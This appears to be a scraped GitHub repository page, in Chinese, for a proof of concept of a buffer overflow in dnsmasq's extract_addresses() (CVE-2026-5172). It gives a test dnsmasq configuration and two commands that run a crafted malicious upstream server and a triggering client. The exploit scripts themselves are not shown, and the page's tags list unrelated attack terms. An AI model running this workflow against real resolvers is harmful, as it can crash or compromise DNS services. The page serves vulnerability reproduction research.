lottiedeyan/CVE20265172poc
GitHub: lottiedeyan/CVE20265172poc
针对 dnsmasq 的 extract_addresses() 缓冲区溢出漏洞(CVE-2026-5172)提供概念验证代码和完整复现流程的安全研究项目。
Stars: 0 | Forks: 0
# CVE20265172 poc
CVE-2026-5172:针对特制资源记录中 extract_addresses() 缓冲区溢出的 PoC
在此处阅读原理
步骤
1. vi /etc/dnsmasq.conf
port=5353
listen-address=xxx.xxx.xxx.x
bind-interfaces
no-resolv
no-hosts
no-poll
cache-size=1000
log-queries
log-facility=-
server=127.0.0.1#5354
(并重启 dnsmasq daemon)
2. python3 server.py --host 127.0.0.1 --port 5354 --rdlen 6 –debug &
3. python3 client.py --dnsmasq-host xxx.xxx.xxx.x --dnsmasq-port 5353 --timeout 5.0 --count 3
标签:Dnsmasq, PoC, XXE攻击, 暴力破解, 缓冲区溢出, 逆向工具